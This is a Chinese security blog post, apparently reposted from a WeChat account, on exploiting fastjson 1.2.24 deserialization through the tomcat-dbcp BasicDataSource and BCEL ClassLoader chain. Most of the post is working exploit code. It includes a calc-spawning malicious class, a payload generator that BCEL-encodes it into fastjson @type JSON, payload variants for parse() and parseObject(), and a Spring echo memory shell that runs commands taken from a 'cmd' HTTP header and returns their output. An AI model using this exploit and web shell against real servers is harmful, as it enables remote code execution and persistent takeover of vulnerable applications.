最近太忙了终于有空继续沉淀fastjson漏洞利用了,Pwn也好久没学了QAQ~
前面介绍了fastjson1.2.24无第三方依赖的TemplatesImpl、JdbcRowSetImpl链
如果增加了tomcat-dbcp依赖的话,又可以增加一种利用手段,即BasicDataSource链
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
在dbcp库中,tomcat7有一个类org.apache.tomcat.dbcp.dbcp.BasicDataSource
,tomcat8有一个类org.apache.tomcat.dbcp.dbcp2.BasicDataSource
在反序列化的时候会先调用其中的getConnection()
方法
继续跟进函数调用createDataSource()
方法
继续跟进createConnectionFactory()
方法
到这里看到我们可以控制driverClassName
和driverClassLoader
变量的值,通过调用Class.forName()
使用driverClassLoader
去加载字节码
然后进入了JDK自带的bcel链子里,在8u251以前的rt.jar!/com/sun/org/apache/bcel/internal/util/
包中有classLoader
类,可以加载字节码并且继承原生的ClassLoader
类同时重写loadClass()
方法,如果满足class_name.indexOf("$$BCEL$$") >= 0
,那么就会调用createClass()
这个方法。
我们跟踪进createClass()
方法看看,可以看到这里会对进来的数据进行bcel解码,成功拿到一个JavaClass
对象,最终通过defineClass()
加载字节码还原类实现rce。
弹计算器
新建一个恶意类CalcShellForBCEL
import java.io.IOException;
publicclassCalcShellForBCEL{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译成class之后直接bcel encode后拼上$$BCEL$$
开头放到@type
处令fastjson触发反序列化setter和getter
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
publicclassFastjsonWithBCEL{
publicstaticvoidmain(String[] args)throws IOException {
Path path = Paths.get("E:\code\Java\fastjson\src\main\resources\CalcShellForBCEL.class");
byte[] bytes = Files.readAllBytes(path);
String code = Utility.encode(bytes,true);
String s = "{{"@type":"com.alibaba.fastjson.JSONObject",x:{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassName":"$$BCEL$$"+code+"","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}}:"x"}";
System.out.println(s);
// JSONObject jsonObject = JSON.parseObject(s, new Feature[]{Feature.SupportNonPublicField});
JSONObject jsonObject = JSON.parseObject(s);
}
}
成功命令执行
注意最后调用parseObject
和parse
的payload略有不同
parseObject
由于多执行了JSON.toJSON(obj)
,所以在处理过程中会调用反序列化目标类的所有setter
和getter
方法,可以用默认的格式写法
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$xxxxxxx"
}
但是如果最后调用的是parse
,需要在外层再套一个{}
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$xxxxx"
}
}:"xxx"
}
打内存马
使用SpringEchoForBCEL,当然如果打不通可以换成TomcatEchoForBCEL
import java.lang.reflect.Method;
import java.util.Scanner;
publicclassSpringEchoForBCEL{
static {
try {
Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method v1 = v0.getMethod("getRequestAttributes");
Object v2 = v1.invoke(null);
v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
v1 = v0.getMethod("getResponse");
Method v3 = v0.getMethod("getRequest");
Object v4 = v1.invoke(v2);
Object v5 = v3.invoke(v2);
Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
v7.setAccessible(true);
v6.setAccessible(true);
Object v8 = v6.invoke(v4);
String v9 = (String) v7.invoke(v5,"cmd");
String[] v10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
v10[0] = "cmd";
v10[1] = "/c";
}else {
v10[0] = "/bin/sh";
v10[1] = "-c";
}
v10[2] = v9;
v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(newScanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\A").next());
v8.getClass().getDeclaredMethod("flush").invoke(v8);
v8.getClass().getDeclaredMethod("clone").invoke(v8);
} catch (Exception var11) {
var11.getStackTrace();
}
}
}
利用FastjsonWithBCEL生成payload直接构造数据包发送给靶标
成功getshell
注意由于靶机最后fastjson调用的是parse()
方法,所以注意需要如上图在外面加一个{}
原文始发于微信公众号(智佳网络安全):fastjson1.2.24+BCEL反序列化利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论